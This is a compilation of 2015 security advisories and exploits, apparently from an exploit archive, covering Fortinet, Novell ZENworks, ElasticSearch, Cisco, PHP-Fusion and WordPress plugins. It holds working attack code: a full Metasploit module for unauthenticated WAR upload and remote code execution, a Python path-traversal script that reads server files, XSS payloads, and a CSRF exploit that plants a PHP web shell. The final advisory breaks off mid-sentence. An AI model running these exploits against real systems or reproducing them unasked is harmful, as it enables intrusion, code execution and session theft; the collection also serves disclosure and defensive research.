(Fortiguard Security - CERT Team) 2015-02-10: Vendor Notification 2 (Fortiguard Security - CERT Team) 2015-02-13: Vendor Response/Feedback (Fortiguard Security - CERT Team) 2015-04-30: Vendor Fix/Patch (Fortinet Developer Team) 2015-05-05: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Fortinet Product: FortiAnalyzer & FortiManager - Appliance Web Application 5.2 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A non-persistent input validation web vulnerability has been discovered in the official Fortinet FortiAnalyzer & FortiManager v5.2 appliance web-application. The security vulnerability allows remote attackers to manipulate client-side application to browser requests to compromise user/admin session information. The vulnerability is located in the `query and name` values of the `Reports > Advanced > Dataset > View Dataset` module. Remote attackers are able to inject malicious script codes to client-side application requests. Remote attackers are able to prepare special crafted weblinks to execute client-side script code that compromises the fortinanalyzer user/admin session data. The execution of the script code occurs in the test query display module. The attack vector of the vulnerability is located on the client-side of the online-service and the request method to inject or execute the code is GET. The appliance web-application filter prevents to execute script code tags after the request by the vulnerable inputs. To bypass the validation filter and protection mechanism of the fortinalayzer use the img, embed and iframe tags with onload to inject client-side script code. The problem is that the input filter does not capture the the context with the correct encoding as result the code bypass the filter of the appliance and executes as dom. The security risk of the non-persistent cross site vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.5. Exploitation of the non-persistent cross site scripting web vulnerability requires no privileged web application user account and low user interaction. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing, non-persistent external redirects, non-persistent load of malicious script codes or non-persistent web module context manipulation. Request Method(s): [+] GET Vulnerable Module(s): [+] Reports > Advanced > Dataset Vulnerable Parameter(s): [+] name [+] query Affected Module(s): [+] View Dataset - SQL RUN Query Display During the client security tests the research team noticed that the official vm version and the all appliance models are affected by the security issue. The following versions and models of the fortinet fortianalyzer appliance web-application are affected by the remote cross site scripting vulnerability. Affected Model(s): [+] FortiManager 5.2.0 GA, 5.2.1 GA [+] FortiManager 5.0.3 GA to 5.0.10 GA release [+] FortiAnalyzer 5.0.0 GA to 5.2.1 GA release Affected Version(s): [+] 5.2.0, 5.2.1, 5.0.3 to 5.0.10 & 5.0.0 to 5.21 (GA) Proof of Concept (PoC): ======================= PoC: https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D& time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22 week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C Exploit: PoC <html> <head><body> <title>Fortianalyzer & Fortimanager- Dataset "Query" - Cross Site Scripting PoC</title> <iframe src=https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D& time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> <br> <img src=https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D& time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> <br> <iframe src=https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22 week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> <br> <img src=https://fortimanager.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22All_FortiGates%22%5D&time-period=%7B%22 week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C> </body></head> </html> Source: Reports > Advanced > Dataset > View Dataset (1) > Query & Name <tr id="yui_3_5_0_1_1417083590427_1543"> <td id="yui_3_5_0_1_1417083590427_1542" colspan="2"> <input id="id_test_sql" value="Test" type="button"> </td> </tr> <!-- Output Console --> <tr> <td colspan="2" id="id_sql_console_output_td"> <div id="id_sql_console_output" class="yui3-skin-sam"><pre><code>ERROR: unterminated quoted identifier at or near ""><[NON-PERSISTENT INJECTED SCRIPT CODE!]) < ^ </pre></code></iframe></code></pre></div> <img id="id_query_response_waiting" src="/resource/images/loading.gif" style="display: none;" hidden="true"></td> </tr> </tbody> --- PoC Session Logs [GET] --- Status: 200[OK] GET https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/?logtype=1&device-list=%5B%22FGT60C3G12031338%5Broot%5D%22%5D&time-period=%7B%22week-start%22%3A0%2C%22period-opt%22%3A1%2C%22period-type%22%3A5%7D&sql-query=%20[NON-PERSISTENT INPUT VALIDATION VULNERABILITY!])%20%3C Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[-1] Mime Type[application/json] Request Header: Host[fortianalyzer.127.0.0.1:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] X-Requested-With[XMLHttpRequest] X-CSRFToken[55cee37b45599df7afe8bdd27e66bc11] Referer[https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/html/?nocache=0.12978551249494386] Cookie[remoteauth=1; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=adwnZNbPJngbWvfmq6fFOjzR6pTT5dcsNud9dBOKw7orgbIzILoaor9Mn/6C825kjXLetWGNQvLlNJpt50Gbzw= csrftoken=55cee37b45599df7afe8bdd27e66bc11] Connection[keep-alive] Response Header: Server[Apache] Expires[-1] Pragma[no-cache] Cache-Control[no-cache] Vary[Accept-Encoding] Content-Encoding[gzip] Keep-Alive[timeout=30, max=72] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[application/json; charset=UTF-8] - Status: 200[OK] GET https://127.0.0.1:8080/p/report/dataset/list/html/x[NON-PERSISTENT INJECTED SCRIPT CODE!] Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[-1] Mime Type[text/html] Request Header: Host[127.0.0.1:8080] User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[de,en-US;q=0.7,en;q=0.3] Accept-Encoding[gzip, deflate] Referer[https://127.0.0.1:8080/p/report/dataset/list/html/?nocache=0.12978551249494386] Cookie[remoteauth=1; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; add_dev_later=; auth_state=; CURRENT_SESSION=adwnZNbPJngbWvfmq6fFOjzR6pTT5dcsNud9dBOKw7orgbIzILoaor9Mn/6C825kjXLetWGNQvLlNJpt50Gbzw= csrftoken=55cee37b45599df7afe8bdd27e66bc11] Connection[keep-alive] Response Header: Date[Thu, 27 Nov 2014 10:23:54 GMT] Server[Apache] Vary[Cookie,Accept-Encoding] Set-Cookie[csrftoken=55cee37b45599df7afe8bdd27e66bc11; expires=Thu, 26-Nov-2015 10:23:54 GMT; Max-Age=31449600; Path=/] Content-Encoding[gzip] Keep-Alive[timeout=30, max=70] Connection[Keep-Alive] Transfer-Encoding[chunked] Content-Type[text/html; charset=utf-8] Reference(s): https://fortianalyzer.127.0.0.1:8080/p/report/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/list/html/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/ https://fortianalyzer.127.0.0.1:8080/p/report/dataset/sql/run/ Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable name and query input fields in the data set view module. Restrict the input fields and disallow special chars. Encode the test code display output to prevent client-side script code injection attacks. Security Risk: ============== The security risk of the client-side cross site scripting vulnerability in the dataset view module is estimated as medium. (CVSS 3.5) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - Evolution Security GmbH ™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Novell ZENworks Configuration Management Arbitrary File Upload', 'Description' => %q{ This module exploits a file upload vulnerability in Novell ZENworks Configuration Management (ZCM, which is part of the ZENworks Suite). The vulnerability exists in the UploadServlet which accepts unauthenticated file uploads and does not check the "uid" parameter for directory traversal characters. This allows an attacker to write anywhere in the file system, and can be abused to deploy a WAR file in the Tomcat webapps directory. ZCM up to (and including) 11.3.1 is vulnerable to this attack. This module has been tested successfully with ZCM 11.3.1 on Windows and Linux. Note that this is a similar vulnerability to ZDI-10-078 / OSVDB-63412 which also has a Metasploit exploit, but it abuses a different parameter of the same servlet. }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2015-0779'], ['OSVDB', '120382'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/zenworks_zcm_rce.txt'], ['URL', 'http://seclists.org/fulldisclosure/2015/Apr/21'] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Privileged' => true, 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Novell ZCM < v11.3.2 - Universal Java', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 7 2015')) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Use SSL', true]), OptString.new('TARGETURI', [true, 'The base path to ZCM / ZENworks Suite', '/zenworks/']), OptString.new('TOMCAT_PATH', [false, 'The Tomcat webapps traversal path (from the temp directory)']) ], self.class) end def check res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'), 'method' => 'GET' }) if res && res.code == 200 && res.body.to_s =~ /ZENworks File Upload Servlet/ return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def upload_war_and_exec(tomcat_path) app_base = rand_text_alphanumeric(4 + rand(32 - 4)) war_payload = payload.encoded_war({ :app_name => app_base }).to_s print_status("#{peer} - Uploading WAR file to #{tomcat_path}") res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], 'UploadServlet'), 'method' => 'POST', 'data' => war_payload, 'ctype' => 'application/octet-stream', 'vars_get' => { 'uid' => tomcat_path, 'filename' => "#{app_base}.war" } }) if res && res.code == 200 print_status("#{peer} - Upload appears to have been successful") else print_error("#{peer} - Failed to upload, try again with a different path?") return false end 10.times do Rex.sleep(2) # Now make a request to trigger the newly deployed war print_status("#{peer} - Attempting to launch payload in deployed WAR...") send_request_cgi({ 'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)), 'method' => 'GET' }) # Failure. The request timed out or the server went away. break if res.nil? # Failure. Unexpected answer break if res.code != 200 # Unless session... keep looping return true if session_created? end false end def exploit tomcat_paths = [] if datastore['TOMCAT_PATH'] tomcat_paths << datastore['TOMCAT_PATH'] end tomcat_paths.concat(['../../../opt/novell/zenworks/share/tomcat/webapps/', '../webapps/']) tomcat_paths.each do |tomcat_path| break if upload_war_and_exec(tomcat_path) end end end Source

#!/usr/bin/python # Crappy PoC for CVE-2015-3337 - Reported by John Heasman of DocuSign # Affects all ElasticSearch versions prior to 1.5.2 and 1.4.5 # Pedro Andujar || twitter: pandujar || email: @digitalsec.net # Tested on default Linux (.deb) install /usr/share/elasticsearch/plugins/ import socket, sys print "!dSR ElasticPwn - for CVE-2015-3337\n" if len(sys.argv) <> 3: print "Ex: %s [url]www.example.com[/url] /etc/passwd" % sys.argv[0] sys.exit() port = 9200 # Default ES http port host = sys.argv[1] fpath = sys.argv[2] def grab(plugin): socket.setdefaulttimeout(3) s = socket.socket() s.connect((host,port)) s.send("GET /_plugin/"+plugin+"/../../../../../.."+fpath+ " HTTP/1.0\n" "Host: "+host+"\n\n") file = s.recv(2048) print " [*] Trying to retrieve "+str(fpath)+":" if ("HTTP/1.0 200 OK" in file): print "\n"+file else: print "[-] File Not Found or system not vulnerable" def pfind(plugin): try: socket.setdefaulttimeout(3) s = socket.socket() s.connect((host,port)) s.send("GET /_plugin/"+plugin+"/ HTTP/1.0\n" "Host: "+host+"\n\n") file = s.recv(16) print "[*] Trying to find plugin "+plugin+":" if ("HTTP/1.0 200 OK" in file): print "[+] Plugin found!" grab(plugin) sys.exit() else: print "[-] Not Found " except Exception, e: print "[-] Error connecting to "+host+" "+str(e) sys.exit() # Include more plugin names to check if they are installed pluginList = ['test','kopf', 'HQ', 'marvel', 'bigdesk', 'head'] for plugin in pluginList: pfind(plugin) Source

Document Title: =============== Cisco (Newsroom) - Client Side Cross Site Scripting Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1464 Release Date: ============= 2015-04-24 Vulnerability Laboratory ID (VL-ID): ==================================== 1464 Common Vulnerability Scoring System: ==================================== 2.5 Product & Service Introduction: =============================== Cisco Systems, Inc. is an American multinational corporation headquartered in San Jose, California, that designs, manufactures, and sells networking equipment. The stock was added to the Dow Jones Industrial Average on June 8, 2009, and is also included in the S&P 500 Index, the Russell 1000 Index, NASDAQ-100 Index and the Russell 1000 Growth Stock Index. (Copy of the Homepage: http://en.wikipedia.org/wiki/Cisco_Systems ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a client-side cross site scripting web vulnerability in the official Cisco Newsroom online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-04-24: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Cisco Product: Newsroom - Web Application (Online Service) 2015 Q1 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A non persistent cross site scripting web vulnerability has been discovered in the official Cisco Newsroom online service web-application. The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions data by client-side manipulated cross site requests. The vulnerability is located in the `articleId` value of the cisco newsroom service module. Remote attackers are able to inject own script codes to the vulnerable GET method request of thenewsroom module. The attack vector of the vulnerability is located on the client-side of the newsroom service web-application. The request method to inject the script code on client-side is `GET`. The injection point of the issue is the vulnerable `articleId` value in the newsroom and the script code execution point is located in the exception-handling module page. The exception-handling displays the input without secure encoding which results in the client-side script code execution. The security risk of the non-persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.4. Exploitation of the client-side cross site scripting web vulnerability requires low user interaction (click) and no privileged application user account. Successful exploitation results in client-side account theft by hijacking, client-side phishing, client-side external redirects and non-persistent manipulation of affected or connected service modules. Request Method(s): [+] GET Vulnerable Service(s): [+] Cisco Newsroom Vulnerable Module(s): [+] Newsroom Vulnerable Parameter(s): [+] articleId Affected Section(s): [+] Exception-handling (Cisco Newsroom Webserver) Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers without privileged application user account and with low or medium user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Exception-Handling Vulnerability <div class="portlet-msg-error"> No Article exists with the articleId=" --><iframe src="x" onload="alert(document.cookie)">.</div> --- PoC Session Logs [GET] --- Host=newsroom.cisco.com User-Agent=Mozilla/5.0 (X11; Linux i686; rv:36.0) Gecko/20100101 Firefox/36.0 Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language=en-US,en;q=0.5 Accept-Encoding=gzip, deflate Cookie=__cfduid=d0badc5a5542aab093f77ec7b2c7fcb4e1426397090; _mkto_trk=id:010-KNZ-501&token:_mch-cisco.com-1426397096496-85931; s_nr=1426612128335-Repeat; v1st=F94588C905A69AF; CP_GUTC=41.105.135.196.1426397309701574; _ga=GA1.2.915487673.1426397317; GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; _ga=GA1.3.915487673.1426397317; __unam=1119172-14c1bebf7bd-10eb7fb3-50; __utma=174467517.915487673.1426397317.1426397593.1426451546.2; __utmz=174467517.1426451546.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); _actmu=161136040.703418129.1426397801884.1426397801884; FBT_LTBox_PR=yes; utag_main=v_id:014c1f3316c3001cd060059682a902042002f0090086e$_sn:3$_ss:1$_st:1426465861885$_pn:1%3Bexp-session$ses_id:1426464061885%3Bexp-session; JSESSIONID=6589D463BF249D67B9B8F40AD5973DDE; undefined=0; mygallerypersist=0; __utmc=174467517; s_cc=true; s_ria=flash%2011%7C; cdc_ut=prevacct:cisco-us%2Ccisco-newsatcisco$accesslevel:guest$ts:1426612115239$customEvents:; s_suite=cisco-us,cisco-newsatcisco; s_country=US; s_language=en; s_sq=%5B%5BB%5D%5D; s_ppv=35; ObSSOCookie=mdeeW%2BwzPp%2FHuAjfbay5gq9VCphOfELvYcvAbmb10rcmkqL%2BoN5WuZW3zD%2BWp3iH%2B0Bdm3eP7th2faHmHu5fk2aOV1lgAc8IjLwgkabZNO6g9soQJYR%2Bp1j%2Bakulkb4q%2BMiybdSb2wiTgPaH26TXgvtqARFPLLeVxeQ3VmDd121e00naIL8JzpatIZ%2BATa0svqvtsEKd2W5n9MNimkrvvb7LeslMcpTbAtC3p%2FfQ0ulKkvun4e0VNGCOedx51KoHFbvVyLMkkKkCvWp1N032L0KoF21ITcCYKwH7TGwQeBGg5PYKbBJsJlt%2FpfKF4dEZwtEI6PuGzMtF1b5grDwdw%2FjHlku%2FIHPR1oLGp3HWwEU9aHrMDzb4BGFoBaI3rAzU; wasOnLoginPage=false; loginPageReferrer=; PAPPS-Loc=papps-prod1.cisco.com; _gat_UA-23583380-1=1; _gat_newsroom=1; _gat_marketing=1; s_dfa=cisco-us%2Ccisco-newsatcisco; s_pv=newsroom.cisco.com%2Fexecbio-detail Connection=keep-alive Reference(s): http://newsroom.cisco.com Solution - Fix & Patch: ======================= The vulnerability has been fixed/patched by the cisco developer team since 24th april 2015. Security Risk: ============== The security risk of the client-side cross site scripting web vulnerability in the newsroom service is estimated as medium. (CVSS 2.5) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz@hotmail.fr] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2014 | Vulnerability Laboratory - Evolution Security GmbH ™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Source

Hi Team, #Affected Vendor: https://www.php-fusion.co.uk/home.php #Date: 04/05/2015 #Creditee: http://osvdb.org/creditees/13518-vadodil-joel-varghese #Type of vulnerability: Persistent XSS + Clickjacking #Tested on: Windows 8.1 #Product: PHP Fusion #Version: 7.02.07 #1 Cross Site Scripting x-x-x-x-x-x-x-x-x-x-x-x- #Tested Link: http://localhost/PHPfusion/files/administration/custom_pages.php?aid=68bca08161175b0e #Description: PHP Fusion is vulnerable to stored cross site scriting vulnerability as the parameter "page_content" is vulnerable which will lead to its compromise. #Proof of Concept (PoC): page_title=%22%3E%3Cimg+src%3D%22blah.jpg%22+onerror%3D%22alert%28%27pWnEd%27%29%22%2F%3E&page_access=0&page_content=%22%3E%3Cimg+src%3D%22blah.jpg%22+onerror%3D%22alert%28%27pWnEd%21%21%27%29%22%2F%3E&add_link=1&page_comments=1&page_ratings=1&save=Save+Page #2 UI redress attack x-x-x-x-x-x-x-x-x-x-x #Tested Link: http://localhost/PHPfusion/files/viewpage.php?page_id=5 #Description: PHP Fusion is vulnerable to UI redress attack as multiple transparent or opaque layers can be used to trick a user into clicking on a button or link on another page when they were intending to click on the the top level page. #Proof of Concept (PoC): <iframe src=" http://localhost/PHPfusion/files/viewpage.php?page_id=5" sanboxed width=900 height=900> Please check me out !!!! </iframe> -- Regards, *Joel V* Source

# Exploit Title: Multiple Persistent XSS & CSRF & File Upload on Ultimate Product Catalogue 3.1.2 # Google Dork: inurl:"SingleProduct" intext:"Back to catalogue" intext:"Category", inurl:"/wp-content/plugins/ultimate-product-catalogue/product-sheets/" # Date: 22/04/2015 # Exploit Author: Felipe Molina de la Torre (@felmoltor) # Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/ # Software Link: https://downloads.wordpress.org/plugin/ultimate-product-catalogue.3.1.2.zip # Version: <= 3.1.2, Comunicated and Fixed by the Vendor in 3.1.5 # Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turned off, Apache 2.4.0 (Ubuntu) # CVE : N/A # Category: webapps 1. Summary: Ultimate Product Catalogue is a responsive and easily customizable plugin for all your product catalogue needs. It has +63.000 downloads, +4.000 active installations. Product Name and Description and File Upload formulary of plugin Ultimate Product Catalog lacks of proper CSRF protection and proper filtering. Allowing an attacker to alter a product pressented to a customer or the wordpress administrators and insert XSS in his product name and description. It also allows an attacker to upload a php script though a CSRF due to a lack of file type filtering when uploading it. 2. Vulnerability timeline: - 22/04/2015: Identified in version 3.1.2 - 22/04/2015: Comunicated to developer company etoilewebdesign.com - 22/04/2015: Response from etoilewebdesign.com and fixed two SQLi in 3.1.3 but not these vulnerabilities. - 28/04/2015: Fixed version in 3.1.5 without notifying me. 3. Vulnerable code: In file html/ProductPage multiple lines. 3. Proof of concept: https://www.youtube.com/watch?v=roB_ken6U4o ---------------------------------------------------------------------------------------------- ------------- CSRF & XSS in Product Description and Name ----------- ---------------------------------------------------------------------------------------------- <iframe width=0 height=0 style="display:none" name="csrf-frame"></iframe> <form method='POST' action='http:// <web>/wp-admin/admin.php?page=UPCP-options&Action=UPCP_EditProduct&Update_Item=Product&Item_ID=16' target="csrf-frame" id="csrf-form"> <input type='hidden' name='action' value='Edit_Product'> <input type='hidden' name='_wp_http_referer' value='/wp-admin/admin.php?page=UPCP-options&Action=UPCP_EditProduct&Update_Item=Product&Item_ID=16'/> <input type='hidden' name='Item_Name' value="Product name</a><script>alert('Product Name says: '+document.cookie)</script><a>"/> <input type='hidden' name='Item_Slug' value='asdf'/> <input type='hidden' name='Item_ID' value='16'/> <input type='hidden' name='Item_Image' value=' http://i.imgur.com/6cWKujq.gif'> <input type='hidden' name='Item_Price' value='666'> <input type='hidden' name='Item_Description' value="Product description says<script>alert('Product description says: '+document.cookie)</script>"/> <input type='hidden' name='Item_SEO_Description' value='seo desc'> <input type='hidden' name='Item_Link' value=''> <input type='hidden' name='Item_Display_Status' value='Show'> <input type='hidden' name='Category_ID' value=''> <input type='hidden' name='SubCategory_ID' value=''> <input style="display:none" type='submit' value='submit'> </form> <script>document.getElementById("csrf-form").submit()</script> ---------------------------------------------------------------------------------------------- -------- CSRF & File Upload in Product Description and Name ------ ---------------------------------------------------------------------------------------------- <html> <body onload="submitRequest();"> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://<web>/wp-admin/admin.php?page=UPCP-options&Action=UPCP_AddProductSpreadsheet&DisplayPage=Product", true); xhr.setRequestHeader("Host", "<web>"); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); xhr.setRequestHeader("Cache-Control", "max-age=0"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8,es;q=0.6"); xhr.setRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.37 Safari/537.36"); xhr.setRequestHeader("Accept-Encoding", "gzip, deflate"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarylPTZvbxAcw0q01W3"); var body = "------WebKitFormBoundarylPTZvbxAcw0q01W3\r\n" + "Content-Disposition: form-data; name=\"Products_Spreadsheet\"; filename=\"cooldog.php\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "<?php\r\n" + "exec($_GET['c'],$output);\r\n" + "foreach ($output as $line) {\r\n" + "echo \"<br/>\".$line;\r\n" + "}\r\n" + "?>\r\n" + "------WebKitFormBoundarylPTZvbxAcw0q01W3\r\n" + "Content-Disposition: form-data; name='submit'\r\n" + "\r\n" + "Add New Products\r\n" + "------WebKitFormBoundarylPTZvbxAcw0q01W3--\r\n" ; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input style="display:none;" type="submit" value="Up!" onclick="submitRequest();" /> </form> </body> </html> Te file cooldog.php is no available in path http:// <web>/wp-content/plugins/ultimate-product-catalogue/product-sheets/cooldog.php Source

Advisory ID: HTB23255 Product: eShop WordPress plugin Vendor: Rich Pedley Vulnerable Version(s): 6.3.11 and probably prior Tested Version: 6.3.11 Advisory Publication: April 15, 2015 [without technical details] Vendor Notification: April 15, 2015 Public Disclosure: May 6, 2015 Vulnerability Type: Code Injection [CWE-94] CVE Reference: CVE-2015-3421 Risk Level: Medium CVSSv2 Base Score: 6.4 (AV:N/AC:L/Au:N/C:P/I:P/A:N) Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) ----------------------------------------------------------------------------------------------- Advisory Details: High-Tech Bridge Security Research Lab discovered security vulnerability in eShop WordPress Plugin, which can be exploited by remote attacker to overwrite arbitrary PHP variables within the context of the vulnerable application. The vulnerability exists due to insufficient validation of user-supplied input in "eshopcart" HTTP cookie. Successful exploitation of this vulnerability may potentially result in arbitrary PHP code execution (RCE). Often such type of vulnerabilities lead to RCE, however in this case we can only overwrite string variables within the scope of 'eshop_checkout()' function in '/wp-content/plugins/eshop/checkout.php' file. This reduces our current vectors of exploitation to Full Path Disclosure and Cross-Site Scripting. Below is a simple PoC that 